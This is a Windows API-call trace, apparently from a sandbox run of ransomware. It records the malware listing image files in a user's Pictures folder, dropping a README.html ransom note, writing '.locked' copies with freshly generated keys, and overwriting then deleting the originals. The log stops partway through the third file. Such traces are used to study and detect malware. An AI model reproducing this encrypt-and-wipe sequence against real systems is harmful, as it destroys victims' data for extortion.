	[0078.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.445] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7784de90, ftCreationTime.dwHighDateTime=0x1d4ce7c, ftLastAccessTime.dwLowDateTime=0x4735c0a0, ftLastAccessTime.dwHighDateTime=0x1d4c716, ftLastWriteTime.dwLowDateTime=0x4735c0a0, ftLastWriteTime.dwHighDateTime=0x1d4c716, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0078.446] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7784de90, ftCreationTime.dwHighDateTime=0x1d4ce7c, ftLastAccessTime.dwLowDateTime=0x4735c0a0, ftLastAccessTime.dwHighDateTime=0x1d4c716, ftLastWriteTime.dwLowDateTime=0x4735c0a0, ftLastWriteTime.dwHighDateTime=0x1d4c716, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.446] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf695c90, ftCreationTime.dwHighDateTime=0x1d4cdcd, ftLastAccessTime.dwLowDateTime=0x8c915000, ftLastAccessTime.dwHighDateTime=0x1d4d00e, ftLastWriteTime.dwLowDateTime=0x8c915000, ftLastWriteTime.dwHighDateTime=0x1d4d00e, nFileSizeHigh=0x0, nFileSizeLow=0x187df, dwReserved0=0x0, dwReserved1=0x0, cFileName="6nn4qvqQQAyCDgkMOxR.gif", cAlternateFileName="6NN4QV~1.GIF")) returned 1
	[0078.446] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1edf5b0, ftCreationTime.dwHighDateTime=0x1d4c6f6, ftLastAccessTime.dwLowDateTime=0x4dc74300, ftLastAccessTime.dwHighDateTime=0x1d4d0a6, ftLastWriteTime.dwLowDateTime=0x4dc74300, ftLastWriteTime.dwHighDateTime=0x1d4d0a6, nFileSizeHigh=0x0, nFileSizeLow=0xfafd, dwReserved0=0x0, dwReserved1=0x0, cFileName="85auf2hJ_D2yOI.png", cAlternateFileName="85AUF2~1.PNG")) returned 1
	[0078.446] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c90d80, ftCreationTime.dwHighDateTime=0x1d4cbc7, ftLastAccessTime.dwLowDateTime=0x1d95cb40, ftLastAccessTime.dwHighDateTime=0x1d4d42d, ftLastWriteTime.dwLowDateTime=0x1d95cb40, ftLastWriteTime.dwHighDateTime=0x1d4d42d, nFileSizeHigh=0x0, nFileSizeLow=0x15cb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AQQuAzcmh4UblVyeDf.bmp", cAlternateFileName="AQQUAZ~1.BMP")) returned 1
	[0078.446] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23716c10, ftCreationTime.dwHighDateTime=0x1d4cfd0, ftLastAccessTime.dwLowDateTime=0xe7d33e0, ftLastAccessTime.dwHighDateTime=0x1d4cfba, ftLastWriteTime.dwLowDateTime=0xe7d33e0, ftLastWriteTime.dwHighDateTime=0x1d4cfba, nFileSizeHigh=0x0, nFileSizeLow=0x170c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="TPW2xIhpa VjT6.png", cAlternateFileName="TPW2XI~1.PNG")) returned 1
	[0078.446] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98393860, ftCreationTime.dwHighDateTime=0x1d4c5e0, ftLastAccessTime.dwLowDateTime=0x512a3a70, ftLastAccessTime.dwHighDateTime=0x1d4d493, ftLastWriteTime.dwLowDateTime=0x512a3a70, ftLastWriteTime.dwHighDateTime=0x1d4d493, nFileSizeHigh=0x0, nFileSizeLow=0x5336, dwReserved0=0x0, dwReserved1=0x0, cFileName="xQey6x.gif", cAlternateFileName="")) returned 1
	[0078.446] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e5662e0, ftCreationTime.dwHighDateTime=0x1d4d087, ftLastAccessTime.dwLowDateTime=0xe7e9fe40, ftLastAccessTime.dwHighDateTime=0x1d4ca85, ftLastWriteTime.dwLowDateTime=0xe7e9fe40, ftLastWriteTime.dwHighDateTime=0x1d4ca85, nFileSizeHigh=0x0, nFileSizeLow=0x2108, dwReserved0=0x0, dwReserved1=0x0, cFileName="XyDUb3.png", cAlternateFileName="")) returned 1
	[0078.446] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a24770, ftCreationTime.dwHighDateTime=0x1d4d298, ftLastAccessTime.dwLowDateTime=0x8d807d0, ftLastAccessTime.dwHighDateTime=0x1d4c79f, ftLastWriteTime.dwLowDateTime=0x8d807d0, ftLastWriteTime.dwHighDateTime=0x1d4c79f, nFileSizeHigh=0x0, nFileSizeLow=0x1289e, dwReserved0=0x0, dwReserved1=0x0, cFileName="YJdqJspC0iMftP.bmp", cAlternateFileName="YJDQJS~1.BMP")) returned 1
	[0078.446] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.446] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0078.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.447] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0078.447] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0078.448] CloseHandle (hObject=0xc0) returned 1
	[0078.448] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee8b0*=0x49) returned 1
	[0078.450] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\6nn4qvqQQAyCDgkMOxR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\6nn4qvqqqaycdgkmoxr.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc418 | out: lpFileInformation=0x123fc418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf695c90, ftCreationTime.dwHighDateTime=0x1d4cdcd, ftLastAccessTime.dwLowDateTime=0x8c915000, ftLastAccessTime.dwHighDateTime=0x1d4d00e, ftLastWriteTime.dwLowDateTime=0x8c915000, ftLastWriteTime.dwHighDateTime=0x1d4d00e, nFileSizeHigh=0x0, nFileSizeLow=0x187df)) returned 1
	[0078.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\6nn4qvqQQAyCDgkMOxR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\6nn4qvqqqaycdgkmoxr.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.450] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\6nn4qvqQQAyCDgkMOxR.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\6nn4qvqqqaycdgkmoxr.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.451] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.451] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0078.451] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8270 | out: pbBuffer=0x127a8270) returned 1
	[0078.451] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0078.452] WriteFile (in: hFile=0xc4, lpBuffer=0x1268f000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1268f000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0078.454] SetEvent (hEvent=0x78) returned 1
	[0078.454] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x187df, lpOverlapped=0x0) returned 1
	[0078.457] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x187df, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x187df, lpOverlapped=0x0) returned 1
	[0078.458] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0078.458] CloseHandle (hObject=0xc4) returned 1
	[0078.458] CloseHandle (hObject=0xc0) returned 1
	[0078.459] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0078.459] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.459] SetEvent (hEvent=0x78) returned 1
	[0078.459] SetEvent (hEvent=0x80) returned 1
	[0078.459] SetEvent (hEvent=0xb4) returned 1
	[0078.459] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.460] SetEvent (hEvent=0xb4) returned 1
	[0078.460] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4b) returned 1
	[0078.461] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\6nn4qvqQQAyCDgkMOxR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\6nn4qvqqqaycdgkmoxr.gif")) returned 1
	[0078.480] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.481] SetEvent (hEvent=0xa8) returned 1
	[0078.481] SetEvent (hEvent=0x80) returned 1
	[0078.485] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.486] SetEvent (hEvent=0x80) returned 1
	[0078.486] SetEvent (hEvent=0xb4) returned 1
	[0078.486] SetEvent (hEvent=0x78) returned 1
	[0078.486] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.486] SetEvent (hEvent=0x78) returned 1
	[0078.488] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.488] SetEvent (hEvent=0x78) returned 1
	[0078.488] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.488] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.489] SetEvent (hEvent=0x78) returned 1
	[0078.489] SetEvent (hEvent=0xb4) returned 1
	[0078.489] SetEvent (hEvent=0x80) returned 1
	[0078.489] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.489] SetEvent (hEvent=0x80) returned 1
	[0078.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\6nn4qvqQQAyCDgkMOxR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\6nn4qvqqqaycdgkmoxr.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.490] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0078.490] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.510] CloseHandle (hObject=0xc0) returned 1
	[0078.510] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\6nn4qvqQQAyCDgkMOxR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\6nn4qvqqqaycdgkmoxr.gif")) returned 1
	[0078.514] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\85auf2hJ_D2yOI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\85auf2hj_d2yoi.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1edf5b0, ftCreationTime.dwHighDateTime=0x1d4c6f6, ftLastAccessTime.dwLowDateTime=0x4dc74300, ftLastAccessTime.dwHighDateTime=0x1d4d0a6, ftLastWriteTime.dwLowDateTime=0x4dc74300, ftLastWriteTime.dwHighDateTime=0x1d4d0a6, nFileSizeHigh=0x0, nFileSizeLow=0xfafd)) returned 1
	[0078.514] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\85auf2hJ_D2yOI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\85auf2hj_d2yoi.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.514] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\85auf2hJ_D2yOI.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\85auf2hj_d2yoi.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.559] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.560] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2e0 | out: pbBuffer=0x1238c2e0) returned 1
	[0078.560] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8140 | out: pbBuffer=0x127a8140) returned 1
	[0078.560] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0078.560] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0078.562] SetEvent (hEvent=0xb4) returned 1
	[0078.562] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xfafd, lpOverlapped=0x0) returned 1
	[0078.572] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xfafd, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xfafd, lpOverlapped=0x0) returned 1
	[0078.573] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0078.573] CloseHandle (hObject=0xc4) returned 1
	[0078.573] CloseHandle (hObject=0xc0) returned 1
	[0078.573] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0078.574] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.574] SetEvent (hEvent=0xb4) returned 1
	[0078.574] SetEvent (hEvent=0x80) returned 1
	[0078.574] SetEvent (hEvent=0x78) returned 1
	[0078.574] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.574] SetEvent (hEvent=0x78) returned 1
	[0078.574] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x46) returned 1
	[0078.576] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\85auf2hJ_D2yOI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\85auf2hj_d2yoi.png")) returned 1
	[0078.594] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.595] SetEvent (hEvent=0xa8) returned 1
	[0078.595] SetEvent (hEvent=0x80) returned 1
	[0078.599] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.599] SetEvent (hEvent=0x80) returned 1
	[0078.599] SetEvent (hEvent=0x78) returned 1
	[0078.599] SetEvent (hEvent=0xb4) returned 1
	[0078.599] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.600] SetEvent (hEvent=0xb4) returned 1
	[0078.601] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.602] SetEvent (hEvent=0xb4) returned 1
	[0078.602] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.602] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.602] SetEvent (hEvent=0xb4) returned 1
	[0078.602] SetEvent (hEvent=0x78) returned 1
	[0078.602] SetEvent (hEvent=0x80) returned 1
	[0078.602] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.603] SetEvent (hEvent=0x80) returned 1
	[0078.603] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\85auf2hJ_D2yOI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\85auf2hj_d2yoi.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.604] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0078.604] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.620] CloseHandle (hObject=0xc0) returned 1
	[0078.620] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\85auf2hJ_D2yOI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\85auf2hj_d2yoi.png")) returned 1
	[0078.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\AQQuAzcmh4UblVyeDf.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\aqquazcmh4ublvyedf.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c90d80, ftCreationTime.dwHighDateTime=0x1d4cbc7, ftLastAccessTime.dwLowDateTime=0x1d95cb40, ftLastAccessTime.dwHighDateTime=0x1d4d42d, ftLastWriteTime.dwLowDateTime=0x1d95cb40, ftLastWriteTime.dwHighDateTime=0x1d4d42d, nFileSizeHigh=0x0, nFileSizeLow=0x15cb6)) returned 1
	[0078.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\AQQuAzcmh4UblVyeDf.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\aqquazcmh4ublvyedf.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.624] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\AQQuAzcmh4UblVyeDf.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\aqquazcmh4ublvyedf.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.625] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0078.625] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2e0 | out: pbBuffer=0x1238c2e0) returned 1
	[0078.625] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8140 | out: pbBuffer=0x127a8140) returned 1
	[0078.625] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0078.625] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0078.627] SetEvent (hEvent=0x78) returned 1
	[0078.627] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x15cb6, lpOverlapped=0x0) returned 1
	[0078.630] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x15cb6, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x15cb6, lpOverlapped=0x0) returned 1
	[0078.631] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0078.631] CloseHandle (hObject=0xc4) returned 1
	[0078.631] CloseHandle (hObject=0xc0) returned 1
	[0078.632] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.632] SetEvent (hEvent=0x78) returned 1
	[0078.632] SetEvent (hEvent=0x80) returned 1
	[0078.632] SetEvent (hEvent=0xb4) returned 1
	[0078.632] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.632] SetEvent (hEvent=0xb4) returned 1
	[0078.633] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4a, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4a) returned 1
	[0078.634] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\AQQuAzcmh4UblVyeDf.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\aqquazcmh4ublvyedf.bmp")) returned 1
	[0078.652] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.653] SetEvent (hEvent=0xa8) returned 1
	[0078.653] SetEvent (hEvent=0x80) returned 1
	[0078.657] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.658] SetEvent (hEvent=0x80) returned 1
	[0078.658] SetEvent (hEvent=0xb4) returned 1
	[0078.658] SetEvent (hEvent=0x78) returned 1
	[0078.658] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.658] SetEvent (hEvent=0x78) returned 1
	[0078.660] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.660] SetEvent (hEvent=0x78) returned 1
	[0078.660] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.660] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.661] SetEvent (hEvent=0x78) returned 1
	[0078.661] SetEvent (hEvent=0xb4) returned 1
	[0078.661] SetEvent (hEvent=0x80) returned 1
	[0078.661] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.661] SetEvent (hEvent=0x80) returned 1
	[0078.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DvfPIls\\AQQuAzcmh4UblVyeDf.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dvfpils\\aqquazcmh4ublvyedf.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
